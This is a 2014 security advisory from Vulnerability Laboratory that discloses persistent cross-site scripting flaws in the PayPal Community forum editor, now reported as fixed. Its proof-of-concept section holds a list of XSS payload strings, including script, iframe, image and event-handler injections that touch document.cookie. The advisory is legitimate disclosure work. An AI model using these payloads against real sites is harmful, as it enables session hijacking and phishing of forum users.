PayPal Community Web Portal Cross Site Scripting

`Document Title:  
===============  
Paypal Inc Bug Bounty #32 - Multiple Persistent Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=716  
  
  
Release Date:  
=============  
2014-09-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
716  
  
  
Common Vulnerability Scoring System:  
====================================  
4.1  
  
  
Product & Service Introduction:  
===============================  
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money   
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,   
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some   
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined   
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified   
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy   
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your   
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a   
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary   
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.  
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request   
a transfer to their bank account.  
  
PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it   
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency   
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account   
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.  
  
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered 2 persistent web vulnerabilities in the official PayPal Community Forum website application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-09-22: Public Disclosure  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
PayPal Inc  
Product: Community (Forums) 2012 Q3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
Multiple persistent input validation web vulnerabilities has been discovered in the official PayPal Community Portal Website Application.  
The vulnerability allows an attacker to inject malicious persistent script code on application side of the vulnerable online-service module.  
  
The web vulnerability is located in the editor exception-handling thats redisplays the message link. The Forum Editor provids an exception handling   
function for the editor in the titel inputs. The message context title provids a value exception. The value exception displays the error title input   
in a own exception. After the input title manipulation the execution of the code takes place in the exception handling message of the forum tinymceditor.  
Low privileged remote attackers interact with the exception of the editor module to change the message link (persistent).  
  
The security risk of the persistent vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 4.1.  
The vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction.  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirect to malicious sources and   
persistent manipulation of affected or connected module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Section(s):  
[+] PayPal Inc - Community  
  
Vulnerable Module(s):  
[+] Editor - lia-form-tiny-mce-editor-input (lia-form-field-error)  
[+] Message Link under Exception  
  
Vulnerable Parameter(s):  
[+] tinyMceEditor  
  
  
Proof of Concept (PoC):  
=======================  
The 2 persistent web vulnerabilities can be exploited by remote attackers without privileged application user accounts and with low or medium user inter action.   
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Payload: >"<iframe src="x-javascript:document.cookie=true;> >" <script>a="/XSS/  
  
PoC: Output Listing Exception-handling (tinyMceEditor)  
  
\ndocument.cookie=true;</SCRIPT>">"</TITLE><SCRIPT>document.cookie=true;</SCRIPT> >"<INPUT TYPE="IMAGE"   
src="x-javascript:document.cookie=true;"> >"<BODY BACKGROUND="javascript:document.cookie=true;"> >"<BODY ONLOAD=document.cookie=true;>   
>"<IMG DYNsrc="x-javascript:document.cookie=true;"> >"<IMG LOWsrc="x-javascript:document.cookie=true;"> >"<BGSOUND src="x-  
  
javascript:document.cookie=true;"> >"<BR SIZE="&{document.cookie=true}"> >"<LAYER src="x-javascript:document.cookie=true;"></LAYER>   
>"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> >"<STYLE>li {list-style-image: url  
("javascript:document.cookie=true;");</STYLE><UL><LI>XSS >"¼script¾document.cookie=true;¼/script¾ >"<IFRAME src="x-  
javascript:document.cookie=true;"></iframe> >" >"  
  
  
  
PoC: Editor - lia-form-field-error (tinyMceEditor)  
  
<div class="lia-form-label-wrapper">   
<label for="lia-subject" class="lia-form-label lia-form-field-error">Title</label>  
</div>  
  
  
  
PoC: Message Link under Exception  
  
>"<img src="blah%3E" onmouseover="document.cookie=true;"> >"<xml src="x-javascript:document.cookie=true;"> >"<xml   
  
id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> >"<div datafld="b" dataformatas="html" datasrc="#X"></div>  
]]>   
[\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>"   
name="subject" id="lia-subject" class="lia-form-board-input   
lia-form-type-text"/>  
<div id="ppl-subject-search-render">  
</div>  
<p class="lia-form-error-text">This value must be shorter than 2,000 characters in length.</p>  
  
  
  
Reference(s):  
../POST1.txt  
../POST2.txt  
../securityresearch.htm  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode the exception-handling output in the mceeditor.  
Parse the preview Message link in the body of the exception to disallow url spoofing and phishing.  
Restrict the input field to prevent further script code injection attacks through the community editor.  
  
The issue has been resolved by the paypal inc security and developer team.  
  
Security Risk:  
==============  
The security risk of the both application-side input validation web vulnerabilities is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers   
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even   
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation   
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break   
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
([email protected] or [email protected]) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]  
  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: [email protected]  
  
`